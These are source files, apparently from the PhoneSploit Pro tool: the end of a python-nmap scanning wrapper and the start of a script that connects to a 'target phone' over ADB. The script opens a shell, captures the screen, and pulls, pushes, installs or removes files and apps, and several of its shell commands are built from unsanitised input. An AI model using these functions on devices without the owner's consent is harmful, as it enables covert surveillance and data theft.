519 | # cpe:/h:juniper:sa4000cpe:/o:juniper:ive_os:7
521 | #
522 | #
523 | # cpe:/h:cymphonix:ex550
525 | #
526 | for dos in dhost.findall("os"):
527 | osmatch = []
528 | portused = []
529 | for dportused in dos.findall("portused"):
530 | #
531 | state = dportused.get("state")
532 | proto = dportused.get("proto")
533 | portid = dportused.get("portid")
534 | portused.append({"state": state, "proto": proto, "portid": portid})
535 |
536 | scan_result["scan"][host]["portused"] = portused
537 |
538 | for dosmatch in dos.findall("osmatch"):
539 | #
540 | name = dosmatch.get("name")
541 | accuracy = dosmatch.get("accuracy")
542 | line = dosmatch.get("line")
543 |
544 | osclass = []
545 | for dosclass in dosmatch.findall("osclass"):
546 | #
547 | ostype = dosclass.get("type")
548 | vendor = dosclass.get("vendor")
549 | osfamily = dosclass.get("osfamily")
550 | osgen = dosclass.get("osgen")
551 | accuracy = dosclass.get("accuracy")
552 |
553 | cpe = []
554 | for dcpe in dosclass.findall("cpe"):
555 | cpe.append(dcpe.text)
556 |
557 | osclass.append(
558 | {
559 | "type": ostype,
560 | "vendor": vendor,
561 | "osfamily": osfamily,
562 | "osgen": osgen,
563 | "accuracy": accuracy,
564 | "cpe": cpe,
565 | }
566 | )
567 |
568 | osmatch.append(
569 | {
570 | "name": name,
571 | "accuracy": accuracy,
572 | "line": line,
573 | "osclass": osclass,
574 | }
575 | )
576 | else:
577 | scan_result["scan"][host]["osmatch"] = osmatch
578 |
579 | for dport in dhost.findall("osfingerprint"):
580 | #
581 | fingerprint = dport.get("fingerprint")
582 |
583 | scan_result["scan"][host]["fingerprint"] = fingerprint
584 |
585 | self._scan_result = scan_result # store for later use
586 | return scan_result
587 |
588 | def __getitem__(self, host):
589 | """
590 | returns a host detail
591 | """
592 | if sys.version_info[0] == 2:
593 | assert type(host) in (
594 | str,
595 | ), f"Wrong type for [host], should be a string [was {type(host)}]"
596 | else:
597 | assert (
598 | type(host) is str
599 | ), f"Wrong type for [host], should be a string [was {type(host)}]"
600 | return self._scan_result["scan"][host]
601 |
602 | def all_hosts(self):
603 | """
604 | returns a sorted list of all hosts
605 | """
606 | if "scan" not in list(self._scan_result.keys()):
607 | return []
608 | listh = list(self._scan_result["scan"].keys())
609 | listh.sort()
610 | return listh
611 |
612 | def command_line(self):
613 | """
614 | returns command line used for the scan
615 |
616 | may raise AssertionError exception if called before scanning
617 | """
618 | assert "nmap" in self._scan_result, "Do a scan before trying to get result !"
619 | assert (
620 | "command_line" in self._scan_result["nmap"]
621 | ), "Do a scan before trying to get result !"
622 |
623 | return self._scan_result["nmap"]["command_line"]
624 |
625 | def scaninfo(self):
626 | """
627 | returns scaninfo structure
628 | {'tcp': {'services': '22', 'method': 'connect'}}
629 |
630 | may raise AssertionError exception if called before scanning
631 | """
632 | assert "nmap" in self._scan_result, "Do a scan before trying to get result !"
633 | assert (
634 | "scaninfo" in self._scan_result["nmap"]
635 | ), "Do a scan before trying to get result !"
636 |
637 | return self._scan_result["nmap"]["scaninfo"]
638 |
639 | def scanstats(self):
640 | """
641 | returns scanstats structure
642 | {'uphosts': '3', 'timestr': 'Thu Jun 3 21:45:07 2010', 'downhosts': '253', 'totalhosts': '256', 'elapsed': '5.79'} # NOQA: E501
643 |
644 | may raise AssertionError exception if called before scanning
645 | """
646 | assert "nmap" in self._scan_result, "Do a scan before trying to get result !"
647 | assert (
648 | "scanstats" in self._scan_result["nmap"]
649 | ), "Do a scan before trying to get result !"
650 |
651 | return self._scan_result["nmap"]["scanstats"]
652 |
653 | def has_host(self, host):
654 | """
655 | returns True if host has result, False otherwise
656 | """
657 | assert (
658 | type(host) is str
659 | ), f"Wrong type for [host], should be a string [was {type(host)}]"
660 | assert "scan" in self._scan_result, "Do a scan before trying to get result !"
661 |
662 | if host in list(self._scan_result["scan"].keys()):
663 | return True
664 |
665 | return False
666 |
667 | def csv(self):
668 | """
669 | returns CSV output as text
670 |
671 | Example :
672 | host;hostname;hostname_type;protocol;port;name;state;product;extrainfo;reason;version;conf;cpe
673 | 127.0.0.1;localhost;PTR;tcp;22;ssh;open;OpenSSH;protocol 2.0;syn-ack;5.9p1 Debian 5ubuntu1;10;cpe
674 | 127.0.0.1;localhost;PTR;tcp;23;telnet;closed;;;conn-refused;;3;
675 | 127.0.0.1;localhost;PTR;tcp;24;priv-mail;closed;;;conn-refused;;3;
676 | """
677 | assert "scan" in self._scan_result, "Do a scan before trying to get result !"
678 |
679 | if sys.version_info < (3, 0):
680 | fd = io.BytesIO()
681 | else:
682 | fd = io.StringIO()
683 |
684 | csv_ouput = csv.writer(fd, delimiter=";")
685 | csv_header = [
686 | "host",
687 | "hostname",
688 | "hostname_type",
689 | "protocol",
690 | "port",
691 | "name",
692 | "state",
693 | "product",
694 | "extrainfo",
695 | "reason",
696 | "version",
697 | "conf",
698 | "cpe",
699 | ]
700 |
701 | csv_ouput.writerow(csv_header)
702 |
703 | for host in self.all_hosts():
704 | for proto in self[host].all_protocols():
705 | if proto not in ["tcp", "udp"]:
706 | continue
707 | lport = list(self[host][proto].keys())
708 | lport.sort()
709 | for port in lport:
710 | hostname = ""
711 | for h in self[host]["hostnames"]:
712 | hostname = h["name"]
713 | hostname_type = h["type"]
714 | csv_row = [
715 | host,
716 | hostname,
717 | hostname_type,
718 | proto,
719 | port,
720 | self[host][proto][port]["name"],
721 | self[host][proto][port]["state"],
722 | self[host][proto][port]["product"],
723 | self[host][proto][port]["extrainfo"],
724 | self[host][proto][port]["reason"],
725 | self[host][proto][port]["version"],
726 | self[host][proto][port]["conf"],
727 | self[host][proto][port]["cpe"],
728 | ]
729 | csv_ouput.writerow(csv_row)
730 |
731 | return fd.getvalue()
732 |
733 |
734 | ############################################################################
735 |
736 |
737 | def __scan_progressive__( # NOQA: CFQ002
738 | self, hosts, ports, arguments, callback, sudo, timeout
739 | ):
740 | """
741 | Used by PortScannerAsync for callback
742 | """
743 | for host in self._nm.listscan(hosts):
744 | try:
745 | scan_data = self._nm.scan(host, ports, arguments, sudo, timeout)
746 | except PortScannerError:
747 | scan_data = None
748 |
749 | if callback is not None:
750 | callback(host, scan_data)
751 | return
752 |
753 |
754 | ############################################################################
755 |
756 |
757 | class PortScannerAsync(object):
758 | """
759 | PortScannerAsync allows to use nmap from python asynchronously
760 | for each host scanned, callback is called with scan result for the host
761 |
762 | """
763 |
764 | def __init__(self):
765 | """
766 | Initialize the module
767 |
768 | * detects nmap on the system and nmap version
769 | * may raise PortScannerError exception if nmap is not found in the path
770 |
771 | """
772 | self._process = None
773 | self._nm = PortScanner()
774 | return
775 |
776 | def __del__(self):
777 | """
778 | Cleanup when deleted
779 |
780 | """
781 | if self._process is not None:
782 | try:
783 | if self._process.is_alive():
784 | self._process.terminate()
785 | except AssertionError:
786 | # Happens on python3.4
787 | # when using PortScannerAsync twice in a row
788 | pass
789 |
790 | self._process = None
791 | return
792 |
793 | def scan( # NOQA: CFQ002
794 | self,
795 | hosts="127.0.0.1",
796 | ports=None,
797 | arguments="-sV",
798 | callback=None,
799 | sudo=False,
800 | timeout=0,
801 | ):
802 | """
803 | Scan given hosts in a separate process and return host by host result using callback function
804 |
805 | PortScannerError exception from standard nmap is catched and you won't know about but get None as scan_data
806 |
807 | :param hosts: string for hosts as nmap use it 'scanme.nmap.org' or '198.116.0-255.1-127' or '216.163.128.20/20'
808 | :param ports: string for ports as nmap use it '22,53,110,143-4564'
809 | :param arguments: string of arguments for nmap '-sU -sX -sC'
810 | :param callback: callback function which takes (host, scan_data) as arguments
811 | :param sudo: launch nmap with sudo if true
812 | :param timeout: int, if > zero, will terminate scan after seconds, otherwise will wait indefintely
813 |
814 | """
815 |
816 | if sys.version_info[0] == 2:
817 | assert type(hosts) in (
818 | str,
819 | ), f"Wrong type for [hosts], should be a string [was {type(hosts)}]"
820 | assert type(ports) in (
821 | str,
822 | type(None),
823 | ), f"Wrong type for [ports], should be a string [was {type(ports)}]"
824 | assert type(arguments) in (
825 | str,
826 | ), f"Wrong type for [arguments], should be a string [was {type(arguments)}]"
827 | else:
828 | assert (
829 | type(hosts) is str
830 | ), f"Wrong type for [hosts], should be a string [was {type(hosts)}]"
831 | assert type(ports) in (
832 | str,
833 | type(None),
834 | ), f"Wrong type for [ports], should be a string [was {type(ports)}]"
835 | assert (
836 | type(arguments) is str
837 | ), f"Wrong type for [arguments], should be a string [was {type(arguments)}]"
838 |
839 | assert (
840 | callable(callback) or callback is None
841 | ), f"The [callback] {str(callback)} should be callable or None."
842 |
843 | for redirecting_output in ["-oX", "-oA"]:
844 | assert (
845 | redirecting_output not in arguments
846 | ), "Xml output can't be redirected from command line.\nYou can access it after a scan using:\nnmap.nm.get_nmap_last_output()" # NOQA: E501
847 |
848 | self._process = Process(
849 | target=__scan_progressive__,
850 | args=(self, hosts, ports, arguments, callback, sudo, timeout),
851 | )
852 | self._process.daemon = True
853 | self._process.start()
854 | return
855 |
856 | def stop(self):
857 | """
858 | Stop the current scan process
859 |
860 | """
861 | if self._process is not None:
862 | self._process.terminate()
863 | return
864 |
865 | def wait(self, timeout=None):
866 | """
867 | Wait for the current scan process to finish, or timeout
868 |
869 | :param timeout: default = None, wait timeout seconds
870 |
871 | """
872 | assert type(timeout) in (
873 | int,
874 | type(None),
875 | ), f"Wrong type for [timeout], should be an int or None [was {type(timeout)}]"
876 |
877 | self._process.join(timeout)
878 | return
879 |
880 | def still_scanning(self):
881 | """
882 | :returns: True if a scan is currently running, False otherwise
883 |
884 | """
885 | try:
886 | return self._process.is_alive()
887 | except Exception:
888 | return False
889 |
890 |
891 | ############################################################################
892 |
893 |
894 | class PortScannerYield(PortScannerAsync):
895 | """
896 | PortScannerYield allows to use nmap from python with a generator
897 | for each host scanned, yield is called with scan result for the host
898 |
899 | """
900 |
901 | def __init__(self):
902 | """
903 | Initialize the module
904 |
905 | * detects nmap on the system and nmap version
906 | * may raise PortScannerError exception if nmap is not found in the path
907 |
908 | """
909 | PortScannerAsync.__init__(self)
910 | return
911 |
912 | def scan(
913 | self, hosts="127.0.0.1", ports=None, arguments="-sV", sudo=False, timeout=0
914 | ):
915 | """
916 | Scan given hosts in a separate process and return host by host result using callback function
917 |
918 | PortScannerError exception from standard nmap is catched and you won't know about it
919 |
920 | :param hosts: string for hosts as nmap use it 'scanme.nmap.org' or '198.116.0-255.1-127' or '216.163.128.20/20'
921 | :param ports: string for ports as nmap use it '22,53,110,143-4564'
922 | :param arguments: string of arguments for nmap '-sU -sX -sC'
923 | :param callback: callback function which takes (host, scan_data) as arguments
924 | :param sudo: launch nmap with sudo if true
925 | :param timeout: int, if > zero, will terminate scan after seconds, otherwise will wait indefintely
926 |
927 | """
928 |
929 | assert (
930 | type(hosts) is str
931 | ), f"Wrong type for [hosts], should be a string [was {type(hosts)}]"
932 | assert type(ports) in (
933 | str,
934 | type(None),
935 | ), f"Wrong type for [ports], should be a string [was {type(ports)}]"
936 | assert (
937 | type(arguments) is str
938 | ), f"Wrong type for [arguments], should be a string [was {type(arguments)}]"
939 |
940 | for redirecting_output in ["-oX", "-oA"]:
941 | assert (
942 | redirecting_output not in arguments
943 | ), "Xml output can't be redirected from command line.\nYou can access it after a scan using:\nnmap.nm.get_nmap_last_output()" # NOQA: E501
944 |
945 | for host in self._nm.listscan(hosts):
946 | try:
947 | scan_data = self._nm.scan(host, ports, arguments, sudo, timeout)
948 | except PortScannerError:
949 | scan_data = None
950 | yield (host, scan_data)
951 | return
952 |
953 | def stop(self):
954 | pass
955 |
956 | def wait(self, timeout=None):
957 | pass
958 |
959 | def still_scanning(self):
960 | pass
961 |
962 |
963 | ############################################################################
964 |
965 |
966 | class PortScannerHostDict(dict):
967 | """
968 | Special dictionnary class for storing and accessing host scan result
969 |
970 | """
971 |
972 | def hostnames(self):
973 | """
974 | :returns: list of hostnames
975 |
976 | """
977 | return self["hostnames"]
978 |
979 | def hostname(self):
980 | """
981 | For compatibility purpose...
982 | :returns: try to return the user record or the first hostname of the list hostnames
983 |
984 | """
985 | hostname = ""
986 | for h in self["hostnames"]:
987 | if h["type"] == "user":
988 | return h["name"]
989 | else:
990 | if len(self["hostnames"]) > 0 and "name" in self["hostnames"][0]:
991 | return self["hostnames"][0]["name"]
992 | else:
993 | return ""
994 |
995 | return hostname
996 |
997 | def state(self):
998 | """
999 | :returns: host state
1000 |
1001 | """
1002 | return self["status"]["state"]
1003 |
1004 | def uptime(self):
1005 | """
1006 | :returns: host state
1007 |
1008 | """
1009 | return self["uptime"]
1010 |
1011 | def all_protocols(self):
1012 | """
1013 | :returns: a list of all scanned protocols
1014 |
1015 | """
1016 |
1017 | def _proto_filter(x):
1018 | return x in ["ip", "tcp", "udp", "sctp"]
1019 |
1020 | lp = list(filter(_proto_filter, list(self.keys())))
1021 | lp.sort()
1022 | return lp
1023 |
1024 | def all_tcp(self):
1025 | """
1026 | :returns: list of tcp ports
1027 |
1028 | """
1029 | if "tcp" in list(self.keys()):
1030 | ltcp = list(self["tcp"].keys())
1031 | ltcp.sort()
1032 | return ltcp
1033 | return []
1034 |
1035 | def has_tcp(self, port):
1036 | """
1037 | :param port: (int) tcp port
1038 | :returns: True if tcp port has info, False otherwise
1039 |
1040 | """
1041 | assert (
1042 | type(port) is int
1043 | ), f"Wrong type for [port], should be an int [was {type(port)}]"
1044 |
1045 | if "tcp" in list(self.keys()) and port in list(self["tcp"].keys()):
1046 | return True
1047 | return False
1048 |
1049 | def tcp(self, port):
1050 | """
1051 | :param port: (int) tcp port
1052 | :returns: info for tpc port
1053 |
1054 | """
1055 | assert (
1056 | type(port) is int
1057 | ), f"Wrong type for [port], should be an int [was {type(port)}]"
1058 | return self["tcp"][port]
1059 |
1060 | def all_udp(self):
1061 | """
1062 | :returns: list of udp ports
1063 |
1064 | """
1065 | if "udp" in list(self.keys()):
1066 | ludp = list(self["udp"].keys())
1067 | ludp.sort()
1068 | return ludp
1069 | return []
1070 |
1071 | def has_udp(self, port):
1072 | """
1073 | :param port: (int) udp port
1074 | :returns: True if udp port has info, False otherwise
1075 |
1076 | """
1077 | assert (
1078 | type(port) is int
1079 | ), f"Wrong type for [port], should be an int [was {type(port)}]"
1080 |
1081 | if "udp" in list(self.keys()) and "port" in list(self["udp"].keys()):
1082 | return True
1083 | return False
1084 |
1085 | def udp(self, port):
1086 | """
1087 | :param port: (int) udp port
1088 | :returns: info for udp port
1089 |
1090 | """
1091 | assert (
1092 | type(port) is int
1093 | ), f"Wrong type for [port], should be an int [was {type(port)}]"
1094 |
1095 | return self["udp"][port]
1096 |
1097 | def all_ip(self):
1098 | """
1099 | :returns: list of ip ports
1100 |
1101 | """
1102 | if "ip" in list(self.keys()):
1103 | lip = list(self["ip"].keys())
1104 | lip.sort()
1105 | return lip
1106 | return []
1107 |
1108 | def has_ip(self, port):
1109 | """
1110 | :param port: (int) ip port
1111 | :returns: True if ip port has info, False otherwise
1112 |
1113 | """
1114 | assert (
1115 | type(port) is int
1116 | ), f"Wrong type for [port], should be an int [was {type(port)}]"
1117 |
1118 | if "ip" in list(self.keys()) and port in list(self["ip"].keys()):
1119 | return True
1120 | return False
1121 |
1122 | def ip(self, port):
1123 | """
1124 | :param port: (int) ip port
1125 | :returns: info for ip port
1126 |
1127 | """
1128 | assert (
1129 | type(port) is int
1130 | ), f"Wrong type for [port], should be an int [was {type(port)}]"
1131 |
1132 | return self["ip"][port]
1133 |
1134 | def all_sctp(self):
1135 | """
1136 | :returns: list of sctp ports
1137 |
1138 | """
1139 | if "sctp" in list(self.keys()):
1140 | lsctp = list(self["sctp"].keys())
1141 | lsctp.sort()
1142 | return lsctp
1143 | return []
1144 |
1145 | def has_sctp(self, port):
1146 | """
1147 | :returns: True if sctp port has info, False otherwise
1148 |
1149 | """
1150 | assert (
1151 | type(port) is int
1152 | ), f"Wrong type for [port], should be an int [was {type(port)}]"
1153 |
1154 | if "sctp" in list(self.keys()) and port in list(self["sctp"].keys()):
1155 | return True
1156 | return False
1157 |
1158 | def sctp(self, port):
1159 | """
1160 | :returns: info for sctp port
1161 |
1162 | """
1163 | assert (
1164 | type(port) is int
1165 | ), f"Wrong type for [port], should be an int [was {type(port)}]"
1166 |
1167 | return self["sctp"][port]
1168 |
1169 |
1170 | ############################################################################
1171 |
1172 |
1173 | class PortScannerError(Exception):
1174 | """
1175 | Exception error class for PortScanner class
1176 |
1177 | """
1178 |
1179 | def __init__(self, value):
1180 | self.value = value
1181 |
1182 | def __str__(self):
1183 | return repr(self.value)
1184 |
1185 | def __repr__(self):
1186 | return f"PortScannerError exception {self.value}"
1187 |
1188 |
1189 | class PortScannerTimeout(PortScannerError):
1190 | pass
1191 |
1192 |
1193 | ############################################################################
1194 |
1195 |
1196 | def __get_last_online_version():
1197 | """
1198 | Gets last python-nmap published version
1199 |
1200 | WARNING : it does an http connection to http://xael.org/pages/python-nmap/python-nmap_CURRENT_VERSION.txt
1201 |
1202 | :returns: a string which indicate last published version (example :'0.4.3')
1203 |
1204 | """
1205 | import http.client
1206 |
1207 | conn = http.client.HTTPConnection("xael.org")
1208 | conn.request("GET", "/pages/python-nmap/python-nmap_CURRENT_VERSION.txt")
1209 | online_version = bytes.decode(conn.getresponse().read()).strip()
1210 | return online_version
1211 |
1212 |
1213 | ############################################################################
1214 |
1215 |
1216 | def convert_nmap_output_to_encoding(value, code="ascii"):
1217 | """
1218 | Change encoding for scan_result object from unicode to whatever
1219 |
1220 | :param value: scan_result as dictionnary
1221 | :param code: default = "ascii", encoding destination
1222 |
1223 | :returns: scan_result as dictionnary with new encoding
1224 | """
1225 | new_value = {}
1226 | for k in value:
1227 | if type(value[k]) in [dict, PortScannerHostDict]:
1228 | new_value[k] = convert_nmap_output_to_encoding(value[k], code)
1229 | else:
1230 | if type(value[k]) is list:
1231 | new_value[k] = [
1232 | convert_nmap_output_to_encoding(x, code) for x in value[k]
1233 | ]
1234 | else:
1235 | new_value[k] = value[k].encode(code)
1236 | return new_value
1237 |
1238 |
1239 | # ######################################################################
1240 |
--------------------------------------------------------------------------------
/phonesploitpro.py:
--------------------------------------------------------------------------------
1 | """
2 | Script : PhoneSploit Pro
3 | Author : Maazin King (github.com/MZNStudiosOfc)
4 | """
5 |
6 | import os
7 | import random
8 | import socket
9 | import time
10 | import subprocess
11 | import platform
12 | import datetime
13 | from modules import banner
14 | from modules import color
15 | from modules import nmap
16 |
17 |
18 | def start():
19 | # Creating Downloaded-Files folder if it does not exist
20 | try:
21 | # Creates a folder to store pulled files
22 | os.mkdir("Downloaded-Files")
23 | except:
24 | pass
25 |
26 | # Checking OS
27 | global operating_system, opener
28 | operating_system = platform.system()
29 | if operating_system == 'Windows':
30 | # Windows specific configuration
31 | windows_config()
32 | else:
33 | # macOS only
34 | if operating_system == 'Darwin':
35 | opener = 'open'
36 |
37 | # On Linux and macOS both
38 | import readline # Arrow Key
39 | check_packages() # Checking for required packages
40 |
41 |
42 | def windows_config():
43 | global clear, opener # , move
44 | clear = 'cls'
45 | opener = 'start'
46 | # move = 'move'
47 |
48 |
49 | def check_packages():
50 | adb_status = subprocess.call(['which', 'adb'])
51 | scrcpy_status = subprocess.call(['which', 'scrcpy'])
52 | metasploit_status = subprocess.call(['which', 'msfconsole'])
53 | nmap_status = subprocess.call(['which', 'nmap'])
54 |
55 | if adb_status != 0 or metasploit_status != 0 or scrcpy_status != 0 or nmap_status != 0:
56 | print(
57 | f'\n{color.RED}ERROR : The following required software are NOT installed!\n')
58 |
59 | count = 0 # Count variable for indexing
60 |
61 | if adb_status != 0:
62 | count = count + 1
63 | print(f'{color.YELLOW}{count}. {color.YELLOW}ADB{color.WHITE}')
64 |
65 | if metasploit_status != 0:
66 | count = count + 1
67 | print(f'{color.YELLOW}{count}. Metasploit-Framework{color.WHITE}')
68 |
69 | if scrcpy_status != 0:
70 | count = count + 1
71 | print(f'{color.YELLOW}{count}. Scrcpy{color.WHITE}')
72 |
73 | if nmap_status != 0:
74 | count = count + 1
75 | print(f'{color.YELLOW}{count}. Nmap{color.WHITE}')
76 |
77 | print(
78 | f'\n{color.CYAN}Please install the above listed software.{color.WHITE}\n')
79 |
80 | choice = input(
81 | f'\n{color.GREEN}Do you still want to continue to PhoneSploit Pro?{color.WHITE} Y / N > ').lower()
82 | if choice == 'y' or choice == '':
83 | return
84 | elif choice == 'n':
85 | exit_phonesploit_pro()
86 | return
87 | else:
88 | while choice != 'y' and choice != 'n' and choice != '':
89 | choice = input(
90 | '\nInvalid choice!, Press Y or N > ').lower()
91 | if choice == 'y' or choice == '':
92 | return
93 | elif choice == 'n':
94 | exit_phonesploit_pro()
95 | return
96 |
97 |
98 | def display_menu():
99 | """ Displays banner and menu"""
100 | print(selected_banner, page)
101 |
102 |
103 | def clear_screen():
104 | """ Clears the screen and display menu """
105 | os.system(clear)
106 | display_menu()
107 |
108 |
109 | def change_page(name):
110 | global page, page_number
111 | if name == 'p':
112 | if page_number > 0:
113 | page_number = page_number - 1
114 | elif name == 'n':
115 | if page_number < 2:
116 | page_number = page_number + 1
117 | page = banner.menu[page_number]
118 | clear_screen()
119 |
120 |
121 | def connect():
122 | # Connect only 1 device at a time
123 | print(f"\n{color.CYAN}Enter target phone's IP Address {color.YELLOW}Example : 192.168.1.23{color.WHITE}")
124 | ip = input("> ")
125 | if ip == '':
126 | print(
127 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
128 | return
129 | else:
130 | # Restart ADB on new connection.
131 | if ip.count('.') == 3:
132 | os.system(
133 | 'adb kill-server > docs/hidden.txt 2>&1&&adb start-server > docs/hidden.txt 2>&1')
134 | os.system("adb connect " + ip + ":5555")
135 | else:
136 | print(
137 | f'\n{color.RED} Invalid IP Address\n{color.GREEN} Going back to Main Menu{color.WHITE}')
138 |
139 |
140 | def list_devices():
141 | print("\n")
142 | os.system("adb devices -l")
143 | print("\n")
144 |
145 |
146 | def disconnect():
147 | print("\n")
148 | os.system("adb disconnect")
149 | print("\n")
150 |
151 |
152 | def exit_phonesploit_pro():
153 | global run_phonesploit_pro
154 | run_phonesploit_pro = False
155 | print("\nExiting...\n")
156 |
157 |
158 | def get_shell():
159 | print("\n")
160 | os.system("adb shell")
161 |
162 |
163 | def get_screenshot():
164 | global screenshot_location
165 | # Getting a temporary file name to store time specific results
166 | file_name = f'screenshot-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.png'
167 | os.system(f"adb shell screencap -p /sdcard/{file_name}")
168 | if screenshot_location == '':
169 | print(
170 | f"\n{color.YELLOW}Enter location to save all screenshots, Press 'Enter' for default{color.WHITE}")
171 | screenshot_location = input("> ")
172 | if screenshot_location == "":
173 | screenshot_location = 'Downloaded-Files'
174 | print(
175 | f"\n{color.PURPLE}Saving screenshot to PhoneSploit-Pro/{screenshot_location}\n{color.WHITE}")
176 | else:
177 | print(
178 | f"\n{color.PURPLE}Saving screenshot to {screenshot_location}\n{color.WHITE}")
179 |
180 | os.system(f"adb pull /sdcard/{file_name} {screenshot_location}")
181 |
182 | # Asking to open file
183 | choice = input(
184 | f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
185 | if choice == 'y' or choice == '':
186 | os.system(f"{opener} {screenshot_location}/{file_name}")
187 |
188 | elif not choice == 'n':
189 | while choice != 'y' and choice != 'n' and choice != '':
190 | choice = input(
191 | '\nInvalid choice!, Press Y or N > ').lower()
192 | if choice == 'y' or choice == '':
193 | os.system(f"{opener} {screenshot_location}/{file_name}")
194 |
195 | print("\n")
196 |
197 |
198 | def screenrecord():
199 | global screenrecord_location
200 | # Getting a temporary file name to store time specific results
201 | file_name = f'vid-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.mp4'
202 |
203 | duration = input(
204 | f"\n{color.CYAN}Enter the recording duration (in seconds) > {color.WHITE}")
205 | print(f'\n{color.YELLOW}Starting Screen Recording...\n{color.WHITE}')
206 | os.system(
207 | f"adb shell screenrecord --verbose --time-limit {duration} /sdcard/{file_name}")
208 |
209 | if screenrecord_location == '':
210 | print(
211 | f"\n{color.YELLOW}Enter location to save all videos, Press 'Enter' for default{color.WHITE}")
212 | screenrecord_location = input("> ")
213 | if screenrecord_location == "":
214 | screenrecord_location = 'Downloaded-Files'
215 | print(
216 | f"\n{color.PURPLE}Saving video to PhoneSploit-Pro/{screenrecord_location}\n{color.WHITE}")
217 | else:
218 | print(
219 | f"\n{color.PURPLE}Saving video to {screenrecord_location}\n{color.WHITE}")
220 |
221 | os.system(f"adb pull /sdcard/{file_name} {screenrecord_location}")
222 |
223 | # Asking to open file
224 | choice = input(
225 | f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
226 | if choice == 'y' or choice == '':
227 | os.system(f"{opener} {screenrecord_location}/{file_name}")
228 |
229 | elif not choice == 'n':
230 | while choice != 'y' and choice != 'n' and choice != '':
231 | choice = input(
232 | '\nInvalid choice!, Press Y or N > ').lower()
233 | if choice == 'y' or choice == '':
234 | os.system(f"{opener} {screenrecord_location}/{file_name}")
235 | print("\n")
236 |
237 |
238 | def pull_file():
239 | global pull_location
240 | print(f"\n{color.CYAN}Enter file path {color.YELLOW}Example : /sdcard/Download/sample.jpg{color.WHITE}")
241 | location = input("\n> /sdcard/")
242 | # Checking if specified file or folder exists in Android
243 | if os.system(f'adb shell test -e /sdcard/{location}') == 0:
244 | pass
245 | else:
246 | print(
247 | f"{color.RED}\n[Error]{color.GREEN} Specified location does not exist {color.GREEN}")
248 | return
249 |
250 | if pull_location == '':
251 | print(
252 | f"\n{color.YELLOW}Enter location to save all files, Press 'Enter' for default{color.WHITE}")
253 | pull_location = input("> ")
254 | if pull_location == "":
255 | pull_location = 'Downloaded-Files'
256 | print(
257 | f"\n{color.PURPLE}Saving file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
258 | else:
259 | print(f"\n{color.PURPLE}Saving file to {pull_location}\n{color.WHITE}")
260 | os.system(f'adb pull /sdcard/{location} {pull_location}')
261 |
262 | # Asking to open file
263 | choice = input(
264 | f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
265 |
266 | # updating location = file_name if it existed inside a folder
267 | # Example : sdcard/DCIM/longtime.jpg -> longtime.jpg
268 | file_path = location.split('/')
269 | location = file_path[len(file_path) - 1]
270 |
271 | # processing request
272 | if choice == 'y' or choice == '':
273 | os.system(f"{opener} {pull_location}/{location}")
274 |
275 | elif not choice == 'n':
276 | while choice != 'y' and choice != 'n' and choice != '':
277 | choice = input(
278 | '\nInvalid choice!, Press Y or N > ').lower()
279 | if choice == 'y' or choice == '':
280 | os.system(f"{opener} {pull_location}/{location}")
281 |
282 |
283 | def push_file():
284 | location = input(
285 | f"\n{color.CYAN}Enter file path in computer{color.WHITE} > ")
286 |
287 | if location == '':
288 | print(
289 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
290 | return
291 | else:
292 | if operating_system == 'Windows':
293 | file_status = int(os.popen(
294 | f'if exist {location} (echo 0) ELSE (echo 1)').read())
295 | else:
296 | file_status = os.system(f'test -e {location}')
297 | if file_status == 0:
298 | pass
299 | else:
300 | print(
301 | f"{color.RED}\n[Error]{color.GREEN} Specified location does not exist {color.GREEN}")
302 | return
303 | destination = input(
304 | f"\n{color.CYAN}Enter destination path {color.YELLOW}Example : /sdcard/Documents{color.WHITE}\n> /sdcard/")
305 | os.system("adb push " + location + " /sdcard/" + destination)
306 |
307 |
308 | def stop_adb():
309 | os.system("adb kill-server")
310 | print("\nStopped ADB Server")
311 |
312 |
313 | def install_app():
314 | file_location = input(
315 | f"\n{color.CYAN}Enter APK path in computer{color.WHITE} > ")
316 |
317 | if file_location == '':
318 | print(
319 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
320 | return
321 | else:
322 | if file_location[len(file_location)-1] == ' ':
323 | file_location = file_location.removesuffix(' ')
324 | file_location = file_location.replace("'", "")
325 | file_location = file_location.replace('"', '')
326 | if not os.path.isfile(file_location):
327 | print(
328 | f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}")
329 | return
330 | else:
331 | file_location = "'" + file_location + "'"
332 | os.system("adb install " + file_location)
333 | print("\n")
334 |
335 |
336 | def uninstall_app():
337 | print(f'''
338 | {color.WHITE}1.{color.GREEN} Select from App List
339 | {color.WHITE}2.{color.GREEN} Enter Package Name Manually
340 | {color.WHITE}''')
341 |
342 | mode = (input("> "))
343 | if mode == '1':
344 |
345 | # Listing third party apps
346 | list = os.popen("adb shell pm list packages -3").read().split("\n")
347 | list.remove('')
348 | i = 0
349 | print("\n")
350 | for app in list:
351 | i += 1
352 | app = app.replace("package:", "")
353 | print(f"{color.GREEN}{i:02d}.{color.WHITE} {app}")
354 |
355 | # Selection of app
356 | app = input("\nEnter Selection > ")
357 | if (app.isdigit()):
358 | if int(app) <= len(list) and int(app) > 0:
359 | package = list[int(app)-1].replace("package:", "")
360 | print(
361 | f"\n{color.RED}Uninstalling {color.YELLOW}{package}{color.WHITE}")
362 | os.system("adb uninstall " + package)
363 | else:
364 | print(
365 | f'\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}')
366 | return
367 | else:
368 | print(
369 | f'\n{color.RED} Expected an Integer Value\n{color.GREEN} Going back to Main Menu{color.WHITE}')
370 | return
371 |
372 | elif mode == '2':
373 |
374 | print(
375 | f"\n{color.CYAN}Enter package name {color.WHITE}Example : com.spotify.music ")
376 | package_name = input("> ")
377 |
378 | if package_name == '':
379 | print(
